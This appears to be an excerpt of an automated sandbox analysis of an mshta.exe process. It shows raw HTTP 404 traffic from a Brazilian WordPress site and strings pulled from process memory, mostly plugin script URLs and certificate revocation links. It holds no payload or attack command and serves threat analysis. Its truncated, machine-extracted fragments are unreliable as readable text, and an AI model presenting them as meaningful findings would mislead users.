Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:48:50 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 22495278Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:48:50 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 15664477Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7

Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: html.attr( 'src', '//www.youtube.com/embed/' + video.id + '?autoplay=1&rel=0&v=' + video.id ); equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1171669328.0000000003C52000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1044882832.0000000003C51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: //www.youtube.com/embed//player?autoplay=true<div class="owl-video-frame" />?autoplay=1&rel=0&v=owl-video-playing//player.vimeo.com/video/ equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.comu equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000008.00000003.1031858409.0000000003580000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169907186.0000000003580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \//www.youtube.com/embed/%id%?autoplay=1 equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: mshta.exe, 00000008.00000002.1178082381.0000000006430000.00000004.00000020.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.8.dr	String found in binary or memory: http://adomas.org/javascript-mouse-wheel/
Source: mshta.exe, 00000008.00000002.1178082381.0000000006430000.00000004.00000020.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.8.dr	String found in binary or memory: http://brandonaaron.net)
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, swfobject[1].js.8.dr	String found in binary or memory: http://code.google.com/p/swfobject/
Source: mshta.exe, 00000008.00000003.939874043.000000000027F000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://creativecommons.org/licenses/by/3.0/
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: animate-logo[1].css.8.dr	String found in binary or memory: http://daneden.me/animate
Source: mshta.exe, 00000008.00000002.1185019487.0000000009AA1000.00000004.00000020.00020000.00000000.sdmp, jquery.magnific-popup.min[1].js.8.dr	String found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.c
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/
Source: mshta.exe, 00000008.00000002.1178082381.0000000006430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/(c
Source: mshta.exe, 00000008.00000002.1178082381.0000000006430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/.clo
Source: mshta.exe, 00000008.00000002.1180881950.0000000006D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/1L
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/a
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/a4g
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20xZ
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.200C;
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20)
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20.
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0C:
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0.8.1oZ
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.00E)
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.00E)&
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0eT
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0g
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.3
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.00
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0S
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0er=3.0.6uZ
Source: mshta.exe, 00000008.00000002.1168275161.0000000002C80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0http://facextr
Source: mshta.exe, 00000008.00000002.1180046658.0000000006802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0ll.min.js?ver=
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.15k
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.18
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1L.
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1U
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1s?
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165831410.00000000003A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eo
Source: mshta.exe, 00000008.00000002.1175277603.000000000528C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.32.1
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3C:
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3I
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3a
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3alian
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3er=1.0.
Source: mshta.exe, 00000008.00000003.1043730529.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171490862.0000000003C27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165831410.00000000003A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3)W
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3.NET4.0E
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.38
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3C:
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.30.6
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.30E)
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3C:
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3ET4.0E)
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3yI
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png&h
